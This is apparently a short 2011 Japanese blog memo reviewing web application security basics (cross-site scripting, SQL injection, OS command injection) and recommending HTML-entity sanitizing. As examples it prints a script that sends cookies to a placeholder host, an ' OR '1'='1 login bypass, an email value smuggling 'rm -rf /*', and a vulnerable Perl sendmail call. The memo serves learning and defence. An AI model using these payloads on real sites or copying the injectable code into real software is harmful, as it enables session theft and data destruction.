2011/02/20

Webアプリのセキュリティについてメモ

最近忘れかけていた基礎知識。
メモしとく。

■クロスサイトスクリプティング
悪意のあるJavaScriptコードをページ内に埋め込む手法。
以下の例だと、passwordがhtmlに出力されるとき、単なる文字列としてではなく、HTMLのscriptタグとして扱われる。
そのため、scriptタグ内のJavaScriptが実行されてしまう。

例)

id:hoge
password:

<script>
location.replace('http://ほげほげ.com?cookie=' + document.cookie)
</script>

■SQLインジェクション
SQL文として意味のある文字を(', ;, %, +など)を使用する手法。
以下の例だと、passwordの条件句に論理和が埋め込まれてしまうため、他の条件句が無効となり
無条件でSQL結果が返ってしまう。

例)

id:hoge
password:'OR '1'='1'

select
  hoge
  ,moge
from
  user_table
where
    id='hoge'
  and
    password =''OR '1'='1'


■OSコマンドインジェクション
OSのコマンドを埋め込むことで、悪意あるOSコマンドを実行する手法。
よくある例がCGIだと思うので、ここではCGIの代表格(?)のPerlの例を。
以下の例では、メールアドレス登録などで、メールアドレスを入力してもらい、
Perlからunixコマンドのsendmail(メールを送るコマンド)を呼び出します。
サーバーではメールを送信した後に、rm -rf /*(全ファイル・ディレクトリを削除するコマンド)を実行します。
例)
メールアドレス:example@example.com;rm -rf /*
my $hoge_mail = CGI::param('hoge_mail');
open(MAIL, "|/usr/lib/sendmail $hoge_mail");


■サニタイジング
これらを予防するための手法はいくつかありますが、一番簡単なのはサニタイジング(無効化)でしょう。
サニタイジングでは、スクリプトやSQLで意味を持つ文字を無効化する手法です。

& → &amp;
< → &lt;
> → &gt;
" → &quot;
' → &#39;

まぁ、OSインジェクションだと、そもそも外部プログラム実行させないとか実行権限を特別なユーザーだけにするとかしたほうがいいのかも。